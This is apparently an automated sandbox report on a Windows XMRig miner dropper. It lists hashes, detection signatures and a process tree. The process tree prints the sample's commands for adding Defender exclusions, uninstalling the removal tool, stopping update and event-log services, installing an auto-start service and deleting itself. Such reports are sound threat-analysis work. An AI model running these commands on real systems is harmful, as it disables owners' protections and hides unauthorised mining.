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Analysis
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max time kernel
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max time network
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platform
windows7_x64 -
resource
win7-20240729-en -
resource tags
arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system -
submitted
02/08/2024, 10:12
Static task
static1
Behavioral task
behavioral1
Sample
8d2ada919248d1765bc22c79e78300f0N.exe
Resource
win7-20240729-en
General
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Target
8d2ada919248d1765bc22c79e78300f0N.exe
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Size
5.4MB
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MD5
8d2ada919248d1765bc22c79e78300f0
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SHA1
7cd9b3a95a15e31efa388c2eaa46efc39d530bf7
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SHA256
ea18e9ea48e9283c8a82cb264764997f3e237608b8f73c20918ccbbaa71fa7dc
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SHA512
91ace3b6b030d53eba94dd9e245007b8a44773ce5d9d4026713e6b5a64a0f991f699c90976010d1e9a9de78b892ee95c9cc1aae0abd24ac950bec2441dc8c7bf
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SSDEEP
98304:xRjPz9KDzUU8O5/B/LJ25E9SVh86sS3TRknQ3ss2MApp9meypA3cPDu7:xFKoU8O5/b2XViSjX310SeyGc7u7
Malware Config
Signatures
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XMRig Miner payload 9 IoCs
resource yara_rule behavioral1/memory/1756-33-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1756-34-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1756-36-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1756-39-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1756-38-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1756-37-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1756-40-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1756-42-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1756-41-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2388 powershell.exe 2364 powershell.exe -
Creates new service(s) 2 TTPs
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Deletes itself 1 IoCs
pid Process 2336 cmd.exe -
Executes dropped EXE 2 IoCs
pid Process 480 Process not Found 2236 lutlgidagtja.exe -
Loads dropped DLL 1 IoCs
pid Process 480 Process not Found -
resource yara_rule behavioral1/memory/1756-26-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1756-29-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1756-31-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1756-33-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1756-32-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1756-34-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1756-30-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1756-36-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1756-39-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1756-38-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1756-37-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1756-40-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1756-42-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1756-41-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 488 powercfg.exe 792 powercfg.exe 2148 powercfg.exe 2700 powercfg.exe 2648 powercfg.exe 2628 powercfg.exe 2296 powercfg.exe 1500 powercfg.exe -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe 8d2ada919248d1765bc22c79e78300f0N.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe lutlgidagtja.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2236 set thread context of 3052 2236 lutlgidagtja.exe 87 PID 2236 set thread context of 1756 2236 lutlgidagtja.exe 89 -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\wusa.lock wusa.exe File created C:\Windows\wusa.lock wusa.exe -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2028 sc.exe 1944 sc.exe 2088 sc.exe 2432 sc.exe 1224 sc.exe 2692 sc.exe 3008 sc.exe 2572 sc.exe 2936 sc.exe 2372 sc.exe 2248 sc.exe 2816 sc.exe 2872 sc.exe 840 sc.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 1051f794c4e4da01 powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1956 8d2ada919248d1765bc22c79e78300f0N.exe 2388 powershell.exe 1956 8d2ada919248d1765bc22c79e78300f0N.exe 1956 8d2ada919248d1765bc22c79e78300f0N.exe 1956 8d2ada919248d1765bc22c79e78300f0N.exe 1956 8d2ada919248d1765bc22c79e78300f0N.exe 1956 8d2ada919248d1765bc22c79e78300f0N.exe 1956 8d2ada919248d1765bc22c79e78300f0N.exe 1956 8d2ada919248d1765bc22c79e78300f0N.exe 1956 8d2ada919248d1765bc22c79e78300f0N.exe 1956 8d2ada919248d1765bc22c79e78300f0N.exe 1956 8d2ada919248d1765bc22c79e78300f0N.exe 1956 8d2ada919248d1765bc22c79e78300f0N.exe 1956 8d2ada919248d1765bc22c79e78300f0N.exe 1956 8d2ada919248d1765bc22c79e78300f0N.exe 1956 8d2ada919248d1765bc22c79e78300f0N.exe 1956 8d2ada919248d1765bc22c79e78300f0N.exe 2236 lutlgidagtja.exe 2364 powershell.exe 2236 lutlgidagtja.exe 2236 lutlgidagtja.exe 2236 lutlgidagtja.exe 2236 lutlgidagtja.exe 2236 lutlgidagtja.exe 2236 lutlgidagtja.exe 2236 lutlgidagtja.exe 2236 lutlgidagtja.exe 2236 lutlgidagtja.exe 2236 lutlgidagtja.exe 2236 lutlgidagtja.exe 2236 lutlgidagtja.exe 1756 nslookup.exe 1756 nslookup.exe 1756 nslookup.exe 1756 nslookup.exe 1756 nslookup.exe 1756 nslookup.exe 1756 nslookup.exe 1756 nslookup.exe 1756 nslookup.exe 1756 nslookup.exe 1756 nslookup.exe 1756 nslookup.exe 1756 nslookup.exe 1756 nslookup.exe 1756 nslookup.exe 1756 nslookup.exe 1756 nslookup.exe 1756 nslookup.exe 1756 nslookup.exe 1756 nslookup.exe 1756 nslookup.exe 1756 nslookup.exe 1756 nslookup.exe 1756 nslookup.exe 1756 nslookup.exe 1756 nslookup.exe 1756 nslookup.exe 1756 nslookup.exe 1756 nslookup.exe 1756 nslookup.exe 1756 nslookup.exe 1756 nslookup.exe 1756 nslookup.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 2388 powershell.exe Token: SeShutdownPrivilege 2148 powercfg.exe Token: SeShutdownPrivilege 2648 powercfg.exe Token: SeShutdownPrivilege 2700 powercfg.exe Token: SeShutdownPrivilege 2628 powercfg.exe Token: SeDebugPrivilege 2364 powershell.exe Token: SeShutdownPrivilege 1500 powercfg.exe Token: SeShutdownPrivilege 488 powercfg.exe Token: SeShutdownPrivilege 792 powercfg.exe Token: SeShutdownPrivilege 2296 powercfg.exe Token: SeLockMemoryPrivilege 1756 nslookup.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 3032 wrote to memory of 2748 3032 cmd.exe 38 PID 3032 wrote to memory of 2748 3032 cmd.exe 38 PID 3032 wrote to memory of 2748 3032 cmd.exe 38 PID 2336 wrote to memory of 2064 2336 cmd.exe 63 PID 2336 wrote to memory of 2064 2336 cmd.exe 63 PID 2336 wrote to memory of 2064 2336 cmd.exe 63 PID 1672 wrote to memory of 2848 1672 cmd.exe 72 PID 1672 wrote to memory of 2848 1672 cmd.exe 72 PID 1672 wrote to memory of 2848 1672 cmd.exe 72 PID 2236 wrote to memory of 3052 2236 lutlgidagtja.exe 87 PID 2236 wrote to memory of 3052 2236 lutlgidagtja.exe 87 PID 2236 wrote to memory of 3052 2236 lutlgidagtja.exe 87 PID 2236 wrote to memory of 3052 2236 lutlgidagtja.exe 87 PID 2236 wrote to memory of 3052 2236 lutlgidagtja.exe 87 PID 2236 wrote to memory of 3052 2236 lutlgidagtja.exe 87 PID 2236 wrote to memory of 3052 2236 lutlgidagtja.exe 87 PID 2236 wrote to memory of 3052 2236 lutlgidagtja.exe 87 PID 2236 wrote to memory of 3052 2236 lutlgidagtja.exe 87 PID 2236 wrote to memory of 1756 2236 lutlgidagtja.exe 89 PID 2236 wrote to memory of 1756 2236 lutlgidagtja.exe 89 PID 2236 wrote to memory of 1756 2236 lutlgidagtja.exe 89 PID 2236 wrote to memory of 1756 2236 lutlgidagtja.exe 89 PID 2236 wrote to memory of 1756 2236 lutlgidagtja.exe 89
Processes
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C:\Users\Admin\AppData\Local\Temp\8d2ada919248d1765bc22c79e78300f0N.exe"C:\Users\Admin\AppData\Local\Temp\8d2ada919248d1765bc22c79e78300f0N.exe"1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:1956 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2388
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:3032 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2748
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2692
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:3008
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2936
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:2248
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2572
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2628
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2648
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2700
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2148
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "JIOGRCSG"2⤵
- Launches sc.exe
PID:2816
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "JIOGRCSG" binpath= "C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe" start= "auto"2⤵
- Launches sc.exe
PID:2028
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
PID:2088
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "JIOGRCSG"2⤵
- Launches sc.exe
PID:1944
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\8d2ada919248d1765bc22c79e78300f0N.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2336 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2064
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C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exeC:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2236 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2364
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:1672 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2848
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2372
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2872
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2432
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:1224
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:840
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:792
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:488
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1500
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2296
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C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:3052
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C:\Windows\system32\nslookup.exenslookup.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1756
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
5.4MB
MD58d2ada919248d1765bc22c79e78300f0
SHA17cd9b3a95a15e31efa388c2eaa46efc39d530bf7
SHA256ea18e9ea48e9283c8a82cb264764997f3e237608b8f73c20918ccbbaa71fa7dc
SHA51291ace3b6b030d53eba94dd9e245007b8a44773ce5d9d4026713e6b5a64a0f991f699c90976010d1e9a9de78b892ee95c9cc1aae0abd24ac950bec2441dc8c7bf